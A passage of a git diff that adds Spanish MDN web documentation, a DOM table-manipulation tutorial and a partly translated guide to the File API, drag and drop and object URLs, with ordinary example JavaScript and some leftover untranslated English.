+<div class="note">Los métodos DOM presentados aquí forman parte del Modelo de Documento basado en Objetos (DOM: Document Object Model por sus siglas en inglés) de especificación nivel 1.  DOM nivel 1 incluye métodos tanto para acceso genérico del documento (DOM 1 Core) así como métodos específicos para documentos HTML (DOM 1 HTML).</div>
+
+<h2 id="Overview_of_Sample1.html" name="Overview_of_Sample1.html">Ejemplo: Crear una tabla HTML dinámicamente (<code>Ejemplo1.html</code>)</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;input type="button" value="Genera una tabla" onclick="genera_tabla()"&gt;
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">function genera_tabla() {
+  // Obtener la referencia del elemento body
+  var body = document.getElementsByTagName("body")[0];
+
+  // Crea un elemento &lt;table&gt; y un elemento &lt;tbody&gt;
+  var tabla   = document.createElement("table");
+  var tblBody = document.createElement("tbody");
+
+  // Crea las celdas
+  for (var i = 0; i &lt; 2; i++) {
+    // Crea las hileras de la tabla
+    var hilera = document.createElement("tr");
+
+    for (var j = 0; j &lt; 2; j++) {
+      // Crea un elemento &lt;td&gt; y un nodo de texto, haz que el nodo de
+      // texto sea el contenido de &lt;td&gt;, ubica el elemento &lt;td&gt; al final
+      // de la hilera de la tabla
+      var celda = document.createElement("td");
+      var textoCelda = document.createTextNode("celda en la hilera "+i+", columna "+j);
+      celda.appendChild(textoCelda);
+      hilera.appendChild(celda);
+    }
+
+    // agrega la hilera al final de la tabla (al final del elemento tblbody)
+    tblBody.appendChild(hilera);
+  }
+
+  // posiciona el &lt;tbody&gt; debajo del elemento &lt;table&gt;
+  tabla.appendChild(tblBody);
+  // appends &lt;table&gt; into &lt;body&gt;
+  body.appendChild(tabla);
+  // modifica el atributo "border" de la tabla y lo fija a "2";
+  tabla.setAttribute("border", "2");
+}</pre>
+
+<p>{{ EmbedLiveSample('Overview_of_Sample1.html') }}</p>
+
+<p>Observa cuidadosamente el orden en el que se crearon los elementos en el nodo de texto:</p>
+
+<ol>
+ <li>Primero se crea el elemento &lt;table&gt;.</li>
+ <li>Posteriormente, creamos el elemento &lt;tbody&gt; , que es el hijo del elemento &lt;table&gt; .</li>
+ <li>Después, utilizamos ciclos para crear los elementos &lt;tr&gt;, que son hijos del elemento &lt;tbody&gt;.</li>
+ <li>Para cada elemento &lt;tr&gt;, utilizamos nuevamente ciclos para generar los elementos &lt;td&gt; que son hijos de los elementos &lt;tr&gt;.</li>
+ <li>Para cada elemento &lt;td&gt;, creamos nodos de texto con el contenido de cada celda.</li>
+</ol>
+
+<p>Una vez creados los elementos &lt;table&gt;, &lt;tbody&gt;, &lt;tr&gt;, y &lt;td&gt; así como los nodos de texto, adicionamos a cada hijo bajo su padre en el órden opuesto:</p>
+
+<ol>
+ <li>Primero, anexamos cada nodo de texto a su elemento padre &lt;td&gt; :
+  <pre>celda.appendChild(textoCelda);</pre>
+ </li>
+ <li>Posteriormente, anexamos cada elemento &lt;td&gt; a su elemento padre &lt;tr&gt; :
+  <pre>hilera.appendChild(celda);</pre>
+ </li>
+ <li>Posteriomente, anexamos cada elemento &lt;tr&gt; a su elemento padre &lt;tbody&gt;:
+  <pre>tblBody.appendChild(hilera);</pre>
+ </li>
+ <li>Después, anexamos el elemento &lt;tbody&gt; a su elemento padre &lt;table&gt;:
+  <pre>tabla.appendChild(tblBody);</pre>
+ </li>
+ <li>Finalmente, anexamos el elemento &lt;table&gt; a su elemento padre &lt;body&gt;:
+  <pre>body.appendChild(tabla);</pre>
+ </li>
+</ol>
+
+<p>Recuérda esta técnica. Te será muy útil en la programación bajo el estándar W3C DOM. Primero, creas los elementos de arriba a abajo; posteriormente adicionas los hijos a los padres de abajo a arriba.</p>
+
+<p>A continuación aparece el código HTML generado por el código JavaScript:</p>
+
+<pre>...
+&lt;table border="2"&gt;
+    &lt;tbody&gt;
+        &lt;tr&gt;&lt;td&gt;celda en la hilera 0, columna 0&lt;/td&gt;&lt;td&gt;celda en la hilera 0, columna 1&lt;/td&gt;&lt;/tr&gt;
+        &lt;tr&gt;&lt;td&gt;celda en la hilera 1, columna 0&lt;/td&gt;&lt;td&gt;celda en la hilera 1, columna 1&lt;/td&gt;&lt;/tr&gt;
+    &lt;/tbody&gt;
+&lt;/table&gt;
+...
+</pre>
+
+<p>Aquí está el árbol de objetos DOM generado por el código del elemento &lt;TABLE&gt; :</p>
+
+<p><img alt="Image:sample1-tabledom.jpg" src="/@api/deki/files/833/=Sample1-tabledom.jpg"></p>
+
+<p>Tú puedes construir esta tabla y sus elementos internos utilizando sólo algunos de los varios métodos del DOM. Recuerda tener en mente el modelo de la estructura que planeas crear; esto hará mucho más fácil la escritura del código necesario.</p>
+
+<p>En el árbol del elemento &lt;table&gt; de la Figura 1, el elemento &lt;table&gt; tiene solamente un hijo mientras que &lt;tbody&gt; tiene dos.  A su vez, cada hijo de &lt;tbody&gt; tiene dos hijos. Finalmente, cada elemento &lt;td&gt; tiene sólo uno, el nodo de texto.</p>
+
+<h2 id="Setting_background_of_a_paragraph" name="Setting_background_of_a_paragraph">Ejemplo: Configuración del color de fondo de un párrafo</h2>
+
+<p><code>getElementsByTagName(tagNameValue)</code> es un método disponible en cualquier elemento DOM o el elemento raíz del documento. Cuando se le llama, devolverá una matriz con todos los descendientes de elementos que coincidan con el nombre de la etiqueta. El primer elemento de la lista se encuentra en la posición [0] de la matriz.</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;input type="button" value="Set paragraph background color" onclick="set_background()"&gt;
+  &lt;p&gt;hi&lt;/p&gt;
+  &lt;p&gt;hello&lt;/p&gt;
+&lt;/body&gt;</pre>
+
+<h3 id="JavaScript_Content_2">JavaScript Content</h3>
+
+<pre class="brush: js">function set_background() {
+  // get a list of all the body elements (there will only be one),
+  // and then select the zeroth (or first) such element
+  myBody = document.getElementsByTagName("body")[0];
+
+  // now, get all the p elements that are descendants of the body
+  myBodyElements = myBody.getElementsByTagName("p");
+
+  // get the second item of the list of p elements
+  myP = myBodyElements[1];
+  myP.style.background = "rgb(255,0,0)";
+}</pre>
+
+<p>{{ EmbedLiveSample('Setting_background_of_a_paragraph') }}</p>
+
+<p>En este ejemplo, establecemos la variable <code>myP</code> en el objeto DOM para el segundo elemento<code>p</code> dentro del body:</p>
+
+<ol>
+ <li>Primero, obtendremos una lista de todos los elementos body mediante
+  <pre>myBody = document.getElementsByTagName("body")[0]</pre>
+  Como en cualquier documento HTML sólo hay un elemento body válido, esta lista tendrá sólo un elemento, que recuperamos seleccionando el primer elemento de esa lista usando <code>{{mediawiki.external(0)}}</code>.</li>
+ <li>Luego, obtenemos todos los elementos p que son descendientes del body mediante
+  <pre>myBodyElements = myBody.getElementsByTagName("p");</pre>
+ </li>
+ <li>Finalmente, obtenemos el segundo item de la lista de elementos p mediante
+  <pre>myP = myBodyElements[1];</pre>
+ </li>
+</ol>
+
+<p><img alt="Image:sample2a2.jpg" src="/@api/deki/files/834/=Sample2a2.jpg"></p>
+
+<p>Una vez que haya obtenido el objeto DOM para un elemento HTML, puede establecer sus propiedades. Por ejemplo, si desea establecer la propiedad estilo de color de fondo, agregue:</p>
+
+<pre>myP.style.background = "rgb(255,0,0)";
+// setting inline STYLE attribute
+</pre>
+
+<h3 id="Creating_TextNodes_with_document.createTextNode.28.22...22.29" name="Creating_TextNodes_with_document.createTextNode.28.22...22.29">Creating TextNodes with <code>document.createTextNode("..")</code></h3>
+
+<p>Use the document object to invoke the createTextNode method and create your text node. You just need to pass the text content. The return value is an object that represents the text node.</p>
+
+<pre>myTextNode = document.createTextNode("world");
+</pre>
+
+<p>This means that you have created a node of the type TEXT_NODE (a piece of text) whose text data is "world", and myTextNode is your reference to this node object. To insert this text into your HTML page, you need to make this text node a child of some other node element.</p>
+
+<h3 id="Inserting_Elements_with_appendChild.28...29" name="Inserting_Elements_with_appendChild.28...29">Inserting Elements with appendChild(..)</h3>
+
+<p>So, by calling myP.appendChild({{mediawiki.external('node_element')}}), you are making the element a new child of the second &lt;p&gt; element.</p>
+
+<pre>myP.appendChild(myTextNode);
+</pre>
+
+<p>After testing this sample, note that the words hello and world are together: helloworld. So visually, when you see the HTML page it seems like the two text nodes hello and world are a single node, but remember that in the document model, there are two nodes. The second node is a new node of type TEXT_NODE, and it is the second child of the second &lt;p&gt; tag. The following figure shows the recently created Text Node object inside the document tree.</p>
+
+<p><img alt="Image:sample2b2.jpg" src="/@api/deki/files/835/=Sample2b2.jpg"></p>
+
+<div class="note">createTextNode and appendChild is a simple way to include white space between the words hello and world. Another important note is that the appendChild method will append the child after the last child, just like the word world has been added after the word hello. So if you want to append a Text Node between hello and world you will need to use insertBefore instead of appendChild.</div>
+
+<h3 id="Creating_New_Elements_with_the_document_object_and_the_createElement.28...29_method" name="Creating_New_Elements_with_the_document_object_and_the_createElement.28...29_method">Creating New Elements with the document object and the <code>createElement(..)</code> method</h3>
+
+<p>You can create new HTML elements or any other element you want with createElement. For example, if you want to create a new &lt;p&gt; element as a child of the &lt;body&gt; element, you can use the myBody in the previous example and append a new element node. To create a node simply call <code>document.createElement("tagname")</code>. For example:</p>
+
+<pre>myNewPTAGnode = document.createElement("p");
+myBody.appendChild(myNewPTAGnode);
+</pre>
+
+<p><img alt="Image:sample2c.jpg" src="/@api/deki/files/836/=Sample2c.jpg"></p>
+
+<h3 id="Removing_nodes_with_the_removeChild.28...29_method" name="Removing_nodes_with_the_removeChild.28...29_method">Removing nodes with the <code>removeChild(..)</code> method</h3>
+
+<p>Nodes can be removed. The following code removes text node <code>myTextNode</code> (containing the word "world") from the second <code>&lt;p&gt;</code> element, <code>myP</code>.</p>
+
+<pre>myP.removeChild(myTextNode);
+</pre>
+
+<p>Text node <code>myTextNode</code> (containing the word "world") still exists. The following code attaches <code>myTextNode</code> to the recently created <code>&lt;p&gt;</code> element, <code>myNewPTAGnode</code>.</p>
+
+<pre>myNewPTAGnode.appendChild(myTextNode);
+</pre>
+
+<p>The final state for the modified object tree looks like this:</p>
+
+<p><img alt="Image:sample2d.jpg" src="/@api/deki/files/837/=Sample2d.jpg"></p>
+
+<h2 id="Creating_a_table_dynamically_.28back_to_Sample1.html.29" name="Creating_a_table_dynamically_.28back_to_Sample1.html.29">Creating a table dynamically (back to Sample1.html)</h2>
+
+<p>For the rest of this article we will continue working with sample1.html. The following figure shows the table object tree structure for the table created in the sample.</p>
+
+<h3 id="Reviewing_the_HTML_Table_structure" name="Reviewing_the_HTML_Table_structure">Reviewing the HTML Table structure</h3>
+
+<p><img alt="Image:sample1-tabledom.jpg" src="/@api/deki/files/833/=Sample1-tabledom.jpg"></p>
+
+<h3 id="Creating_element_nodes_and_inserting_them_into_the_document_tree" name="Creating_element_nodes_and_inserting_them_into_the_document_tree">Creating element nodes and inserting them into the document tree</h3>
+
+<p>The basic steps to create the table in sample1.html are:</p>
+
+<ul>
+ <li>Get the body object (first item of the document object).</li>
+ <li>Create all the elements.</li>
+ <li>Finally, append each child according to the table structure (as in the above figure). The following source code is a commented version for the sample1.html.</li>
+</ul>
+
+<div class="note">At the end of the start function there is a new line of code. The table's border property was set using another DOM method, <code>setAttribute</code>. setAttribute has two arguments: the attribute name and the attribute value. You can set any attribute of any element using the setAttribute method.</div>
+
+<pre class="brush:html">&lt;head&gt;
+&lt;title&gt;Sample code - Traversing an HTML Table with JavaScript and DOM Interfaces&lt;/title&gt;
+&lt;script&gt;
+    function start() {
+        // get the reference for the body
+        var mybody = document.getElementsByTagName("body")[0];
+
+        // creates &lt;table&gt; and &lt;tbody&gt; elements
+        mytable     = document.createElement("table");
+        mytablebody = document.createElement("tbody");
+
+        // creating all cells
+        for(var j = 0; j &lt; 2; j++) {
+            // creates a &lt;tr&gt; element
+            mycurrent_row = document.createElement("tr");
+
+            for(var i = 0; i &lt; 2; i++) {
+                // creates a &lt;td&gt; element
+                mycurrent_cell = document.createElement("td");
+                // creates a Text Node
+                currenttext = document.createTextNode("cell is row " + j + ", column " + i);
+                // appends the Text Node we created into the cell &lt;td&gt;
+                mycurrent_cell.appendChild(currenttext);
+                // appends the cell &lt;td&gt; into the row &lt;tr&gt;
+                mycurrent_row.appendChild(mycurrent_cell);
+            }
+            // appends the row &lt;tr&gt; into &lt;tbody&gt;
+            mytablebody.appendChild(mycurrent_row);
+        }
+
+        // appends &lt;tbody&gt; into &lt;table&gt;
+        mytable.appendChild(mytablebody);
+        // appends &lt;table&gt; into &lt;body&gt;
+        mybody.appendChild(mytable);
+        // sets the border attribute of mytable to 2;
+        mytable.setAttribute("border","2");
+    }
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="start()"&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Manipulating_the_table_with_DOM_and_CSS" name="Manipulating_the_table_with_DOM_and_CSS">Manipulating the table with DOM and CSS</h2>
+
+<h3 id="Getting_a_text_node_from_the_table" name="Getting_a_text_node_from_the_table">Getting a text node from the table</h3>
+
+<p>This example introduces two new DOM attributes. First it uses the <code>childNodes</code> attribute to get the list of child nodes of mycel. The <code>childNodes</code> list includes all child nodes, regardless of what their name or type is. Like getElementsByTagName(), it returns a list of nodes. The differences are that (a) getElementsByTagName() only returns elements of the specified tag name; and (b) getElementsByTagName() returns descendants at any level, not just immediate children. Once you have the returned list, use <code>{{mediawiki.external('x')}}</code> method to retrieve the desired child item. This example stores in myceltext the text node of the second cell in the second row of the table. Then, to display the results in this example, it creates a new text node whose content is the data of myceltext and appends it as a child of the &lt;body&gt; element.</p>
+
+<div class="note">If your object is a text node, you can use the data attribute and retrieve the text content of the node.</div>
+
+<pre class="brush:js">mybody      = document.getElementsByTagName("body")[0];
+mytable     = mybody.getElementsByTagName("table")[0];
+mytablebody = mytable.getElementsByTagName("tbody")[0];
+myrow       = mytablebody.getElementsByTagName("tr")[1];
+mycel       = myrow.getElementsByTagName("td")[1];
+
+// first item element of the childNodes list of mycel
+myceltext=mycel.childNodes[0];
+
+// content of currenttext is the data content of myceltext
+currenttext=document.createTextNode(myceltext.data);
+mybody.appendChild(currenttext);
+</pre>
+
+<h3 id="Getting_an_attribute_value" name="Getting_an_attribute_value">Getting an attribute value</h3>
+
+<p>At the end of sample1 there is a call to setAttribute on the mytable object. This call was used to set the border property of the table. To retrieve the value of the attribute, use the getAttribute method:</p>
+
+<pre>mytable.getAttribute("border");
+</pre>
+
+<h3 id="Hiding_a_column_by_changing_style_properties" name="Hiding_a_column_by_changing_style_properties">Hiding a column by changing style properties</h3>
+
+<p>Once you have the object in your JavaScript variable, you can set style properties directly. The following code is a modified version of sample1.html in which each cell of the second column is hidden and each cell of the first column is changed to have a red background. Note that the style property was set directly.</p>
+
+<pre class="brush:html">&lt;html&gt;
+&lt;body onload="start()"&gt;
+&lt;/body&gt;
+&lt;script&gt;
+    function start() {
+       var mybody =document.getElementsByTagName("body")[0];
+       mytable     = document.createElement("table");
+       mytablebody = document.createElement("tbody");
+
+       for(var j = 0; j &lt; 2; j++) {
+           mycurrent_row=document.createElement("tr");
+           for(var i = 0; i &lt; 2; i++) {
+               mycurrent_cell = document.createElement("td");
+               currenttext = document.createTextNode("cell is:" + i + j);
+               mycurrent_cell.appendChild(currenttext);
+               mycurrent_row.appendChild(mycurrent_cell);
+               // set the cell background color
+               // if the column is 0. If the column is 1 hide the cel
+               if (i == 0) {
+                   mycurrent_cell.style.background = "rgb(255,0,0)";
+               } else {
+                   mycurrent_cell.style.display = "none";
+               }
+           }
+           mytablebody.appendChild(mycurrent_row);
+       }
+       mytable.appendChild(mytablebody);
+       mybody.appendChild(mytable);
+    }
+&lt;/script&gt;
+&lt;/html&gt;
+</pre>
diff --git a/files/es/usando_archivos_desde_aplicaciones_web/index.html b/files/es/usando_archivos_desde_aplicaciones_web/index.html
new file mode 100644
index 0000000000..a3f0c8546e
--- /dev/null
+++ b/files/es/usando_archivos_desde_aplicaciones_web/index.html
@@ -0,0 +1,377 @@
+---
+title: Usando archivos desde aplicaciones web
+slug: Usando_archivos_desde_aplicaciones_web
+tags:
+  - Archivos
+  - HTML5
+  - para_revisar
+  - páginas_a_traducir
+---
+<p>{{ gecko_minversion_header("1.9.2") }}</p>
+
+<p> </p>
+
+<p>Al usar la API de Archivos agregada al DOM en HTML5, ahora es posible que el contenido de una página web solicite al usuario que elija un archivo local para luego leer el contenido de esos archivos. Esta selección puede hacerse tanto usando un elemento <code class="western"><a href="/en/DOM/HTMLInputElement" title="en/DOM/HTMLInputElement">input</a></code> de HTML o arrastrando y soltando el archivo.</p>
+
+<h2 id="Seleccionar_archivos_usando_HTML"> Seleccionar archivos usando HTML</h2>
+
+<p> Seleccionar un solo archivo para usar con la API de archivo es simple:</p>
+
+<pre><code>&lt;input type="file" id="input" onchange="handleFiles(this.files)"&gt;</code>
+</pre>
+
+<p>Cuando el usuario selecciona un archivo, se  llama a la función <code>handleFiles()</code>  con un objeto <a href="/en/DOM/FileList" title="en/DOM/FileList"><code>FileList</code></a> que contiene el objeto <a href="/en/DOM/File" title="en/DOM/File"><code>File </code></a>representando el archivo seleccionado por el usuario.</p>
+
+<p>Si desea permitir al usuario seleccionar varios archivos, simplemente use el atributo <code>multiple</code> en el elemento <code>input</code>:</p>
+
+<pre><code>&lt;input type="file" id="input" multiple="true" onchange="handleFiles(this.files)"&gt;</code>
+</pre>
+
+<p>En este caso, la lista de archivos se pasa a la función <code>handleFiles()contiene </code><code>un objeto</code> <a href="/en/DOM/File" title="en/DOM/File"> <code>File</code></a> por cada archivo que el usuario ha seleccionado.</p>
+
+<p>{{ h2_gecko_minversion("Uso de elementos ocultos del archivo de entrada usando el método click() ", "2.0") }}</p>
+
+<p>Desde la versión 2.0 de Gecko {{ geckoRelease("2.0") }}, puedes esconder el elemento file {{ HTMLElement("input") }} y mostrar una interfaz propia para abrir el examinador de archivos y para mostrar que archivo o archivos ha seleccionado el usuario. Puedes hacerlo agregándole al estilo del elemento input la instrucción "display:none" y usando el método <code>click()</code> en el elemento {{ HTMLElement("input") }}.</p>
+
+<p>Considere este código HTML:</p>
+
+<pre class="deki-transform">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;
+</pre>
+
+<p>Tu método <code>doClick()</code> puede verse como esto:</p>
+
+<pre class="deki-transform">var fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // prevent navigation to "#"
+}, false);
+</pre>
+
+<p>Obiamente puedes darle estilo al nuevo botón para abrir el selector de archivos como desees.</p>
+
+<h3 id="Dinámica_de_la_adición_de_un_detector_de_cambio">Dinámica de la adición de un detector de cambio</h3>
+
+<p> Si tu campo de entrada fue creado con una librería de JavaScript como <a class="external" href="http://www.jquery.com/">jQuery</a>, necesitarás usar {{ domxref("element.addEventListener()") }} para agregar un manejador de eventos de cambio, como este:</p>
+
+<pre class="deki-transform">var inputElement = document.getElementById("inputField");
+inputElement.addEventListener("change", handleFiles, false);
+
+function handleFiles() {
+  var fileList = this.files;
+
+  /* now you can work with the file list */
+}
+</pre>
+
+<p> Nota que en este caso, la función <code class="western">handleFiles()</code> busca la lista de archivos en lugar de aceptar un parámetro, ya que los detectores de eventos añadidos de esta manera no pueden aceptar un parámetro de entrada.</p>
+
+<p> </p>
+
+<p>{{ h1_gecko_minversion("Usando Objetos URL", "2.0") }}</p>
+
+<p>Gecko 2.0 {{ geckoRelease("2.0") }} introduce asistencia para el DOM {{ domxref("window.URL.createObjectURL()") }} y los métodos {{ domxref("window.URL.revokeObjectURL()") }} Esto te permite crear URLs simples para ser usadas como referencia a cualquier dato que pueda ser referenciado usando un objeto DOM <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a>, incluyendo archivos locales en el computador del usuario.</p>
+
+<p>Cuando tienes un objeto <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> te gustaría hacer referencia por URL desde HTML, puedes crear un objeto URL para que quede así :</p>
+
+<pre>var objectURL = window.URL.createObjectURL(fileObj);
+</pre>
+
+<p>El objeto URL es una cadena de caracteres que identifica el objeto <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> . Cada vez que invocas {{ domxref("window.URL.createObjectURL()") }}, un único objeto URL es creado, <span class="long_text" id="result_box" lang="es"><span class="hps" title="Haz clic para obtener traducciones alternativas">incluso, si usted</span> ya <span class="hps" title="Haz clic para obtener traducciones alternativas">ha</span> <span class="hps" title="Haz clic para obtener traducciones alternativas">creado</span> <span class="hps" title="Haz clic para obtener traducciones alternativas">un</span><span class="hps" title="Haz clic para obtener traducciones alternativas"> objeto URL de</span> <span class="hps" title="Haz clic para obtener traducciones alternativas">ese archivo</span></span>. Cada uno de estos debe ser liberado. Mientras se liberan automáticamente cuando se libera la memoria utilizada por el documento, sí tu página los usa dinámicamente, podrías liberarlos explicitamente invocando {{ domxref("window.URL.revokeObjectURL()") }}:</p>
+
+<pre>window.URL.revokeObjectURL(objectURL);
+</pre>
+
+<h2 id="Selección_de_archivos_usando_arrastrar_y_soltar">Selección de archivos usando arrastrar y soltar</h2>
+
+<p> <span lang="es-ES">También puedes dejar que el usuario arrastre y suelte los archivos en la aplicación Web.</span></p>
+
+<p>El primer paso es establecer una zona para soltar. Exactamente que parte de tu contenido aceptara soltar puede variar dependiendo de el diseño de tu aplicación, pero hacer un elemento que reciba eventos de soltar es fácil:</p>
+
+<pre class="deki-transform">var dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+</pre>
+
+<p> En este ejemplo, estamos girando el elemento con el ID "dropbox" en nuestra zona para soltar. Esto se hace mediante la adicción de manejadores que escuchen los eventos <code class="western">dragenter</code>, <code class="western">dragover</code>, y <code class="western">drop</code>.</p>
+
+<p>En realidad no necesitamos hacer nada con los eventos <code class="western">dragenter</code> and <code class="western">dragover</code> en nuestro caso, por lo que estas funciones son a la vez simples. Acabar de detener la propagación del evento y evitar que la acción predeterminada ocurra:</p>
+
+<pre class="deki-transform">function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+</pre>
+
+<p>La verdadera magia pasa en la función <code class="western">drop()</code>:</p>
+
+<pre class="deki-transform">function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  var dt = e.dataTransfer;
+  var files = dt.files;
+
+  handleFiles(files);
+}
+</pre>
+
+<p>Aquí, recuperamos  el campo <code>dataTransfer</code> del evento, a continuación tomamos la lista de archivos fuera de él, que pasa para <code>handleFiles()</code>. Desde este punto, el manejo de los archivos es el mismo si el usuario utiliza el elemento de entrada o arrastrar y soltar. Obteniendo información de los archivos seleccionados.</p>
+
+<p>El objeto  <a href="/en/DOM/FileList" title="en/DOM/FileList"><code>FileList</code></a> proporcionado por el DOM de las listas de todos los archivos seleccionados por el usuario, cada una se especifica como un objeto<a href="/en/DOM/File" title="en/DOM/File"><code> File</code></a>. Tu puedes determinar cuantos archivos el usuario selecciona, al verificar el valor del atributo <code>length</code>:</p>
+
+<pre>var numFiles = files.length;
+</pre>
+
+<p>Individualmente los objetos <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> pueden ser recuperados simplemente accediendo a la lista como una matriz:</p>
+
+<pre class="deki-transform">for (var i = 0; i &lt; files.length; i++) {
+  var file = files[i];
+  ..
+}
+</pre>
+
+<p> Este bucle se repite en todos los archivos de la lista de archivos.</p>
+
+<p>Hay tres atributos proporcionados por el objeto <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> que contienen información útil sobre el archivo.</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>El nombre de archivo como cadena de sólo lectura. Esto es sólo el nombre de el archivo y no incluye ninguna información de la ruta.</dd>
+ <dt><code>size</code></dt>
+ <dd>El tamaño del  archivo en bytes como de solo lectura entero de 64 bits.</dd>
+ <dt><code>type</code></dt>
+ <dd>El tipo MIME de el archivo como una cadena de sólo lectura, o "" si el tipo no puede ser determinado.</dd>
+</dl>
+
+<h2 id="Ejemplo_Mostrando_miniaturas_de_las_imágenes_seleccionadas_por_el_usuario">Ejemplo: Mostrando miniaturas de las imágenes seleccionadas por el usuario</h2>
+
+<p>Digamos que estás desarrollando el próximo gran sitio web para compartir fotos,y deseas usar HTML5 para mostrar vistas previas en miniaturas de las imágenes antes de que el usuario realmente suba los archivos. Simplemente basta con establecer el elemento de entrada o de soltar como se indicó anteriormente, y llamar una función, como la función <code>handleFiles()</code> de abajo.</p>
+
+<pre class="deki-transform">function handleFiles(files) {
+  for (var i = 0; i &lt; files.length; i++) {
+    var file = files[i];
+    var imageType = /image.*/;
+
+    if (!file.type.match(imageType)) {
+      continue;
+    }
+
+    var img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img);
+
+    var reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+</pre>
+
+<p>Aquí nuestro bucle maneja los archivos seleccionados por el usuario buscando en cada tipo de atributo del archivo para ver si es un archivo imagen (Buscando coincidencias con la cadena de expresión regular "image.*"). Por cada archivo de tipo imagen, creamos un nuevo elemento img. El CSS puede ser usado para crear bordes, sombras y/o especificar el tamaño de la imagen, por lo cual no es necesario hacerlo aquí.</p>
+
+<p>Cada imagen tiene añadida la clase CSS "obj", para que sean fáciles de encontrar en el árbol DOM. También vamos a añadir un archivo atributo a cada imagen especificando el archivo de la imagen, o que nos permitirá buscar las imágenes para en realidad subirlas mas tarde. Por último se utilizamos {{ domxref("Node.appendChild()") }} para agregar la nueva miniatura para el área de previsualización de nuestro documento.</p>
+
+<p>A continuación, se establece  <a href="/en/DOM/FileReader" title="en/DOM/FileReader"><code>FileReader</code></a> para manejar de forma asincrónica la  carga de la  imagen y lo conecta con el elemento img.Después se crea  el  nuevo objeto <code>FileReader</code>, hemos creado la función <code>load</code>, a continuación llamamos <code>readAsDataURL()</code> para empezar la operación de lectura de fondo. cuando todo el contenido del archivo de imagen se carga, se convierten en una  <code>data:</code> URL, cada uno se pasa por  <code>onload</code> callback. Nuestra implementación de esta rutina se limita a establecer el atributo src del elemento img de la imagen cargada, lo que resulta en la imagen que aparece en la miniatura en la pantalla del usuario.</p>
+
+<p>{{ h1_gecko_minversion("Ejemplo: Usar URL objeto para mostrar imágenes", "2.0") }}</p>
+
+<p>En este ejemplo se utiliza el objeto URL para mostrar miniaturas de las imágenes. Además, se muestra la información de otro archivo con su nonbre y tamaño. Tu puedes <a href="/samples/domref/file-click-demo.html" title="https://developer.mozilla.org/samples/domref/file-click-demo.html">ver el ejemplo vivo </a>(nota se requiere  <a class="external" href="http://nightly.mozilla.org/" title="http://nightly.mozilla.org/">versión nocturna (nightly build</a>) de Firefox del 22 de noviembre o posterior, o Firefox 4.0 beta 8).</p>
+
+<div class="note"><strong>Nota:</strong> Esta API existía en versiones beta de Firefox 4, pero cambio el 22 de noviembre, ¡así que asegúrate que estas en una versión actual!</div>
+
+<p>Escuchar<br>
+ traducción del inglés al español<br>
+ El código HTML que presenta la interfaz se parece a esto:</p>
+
+<pre class="deki-transform">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;
+&lt;div id="fileList"&gt;
+  &lt;p&gt;¡No se han seleccionado archivos!&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Este establece nuestro archivo {{ HTMLElement("input") }} elemento, así como un enlace que invoca el selector de archivos , ya que mantener la entrada de archivo oculto para para evitar que lo menos atractivo de la interfaz sea mostrado. Esto se explica más arriba en la sección  {{ anch("Using hidden file input elements using the click() method") }}, como es el método <code>doClick()</code> que invoca el selector de archivos.</p>
+
+<p>El método siguiente <code>handleFiles()</code>:</p>
+
+<pre class="deki-transform">var fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem"),
+  fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // evitar la navegación a "#"
+}, false);
+
+function handleFiles(files) {
+  if (!files.length) {
+    fileList.innerHTML = "&lt;p&gt;¡No se han seleccionado archivos!&lt;/p&gt;";
+  }
+  else {
+    var list = document.createElement("ul");
+    for (var i = 0; i &lt; files.length; i++) {
+      var li = document.createElement("li");
+      list.appendChild(li);
+
+      var img = document.createElement("img");
+      img.src = window.URL.createObjectURL(files[i]);;
+      img.height = 60;
+      img.onload = function () {
+        window.URL.revokeObjectURL(this.src);
+      }
+      li.appendChild(img);
+
+      var info = document.createElement("span");
+      info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+      li.appendChild(info);
+    }
+    fileList.appendChild(list);
+  }
+}
+</pre>
+
+<p>Esto comienza por ir a buscar el {{ HTMLElement("div") }} con el ID "fileList". Este es el bloque en el que vamos a insertar la lista de archivos, incluyendo vistas en miniaturas.</p>
+
+<p>Si el  objeto {{ domxref("FileList") }} <code>handleFiles()</code> es <code>null</code>, se establece dentro del código HTML interno del bloque para que no aparezca "¡No se han seleccionado archivos!". De lo contrario, empezamos a contruir nuestra lista de archivos, de la siguiente manera:</p>
+
+<p>Una nueva lista desordenada elemento ({{ HTMLElement("ul") }} es creada.</p>
+
+<ol>
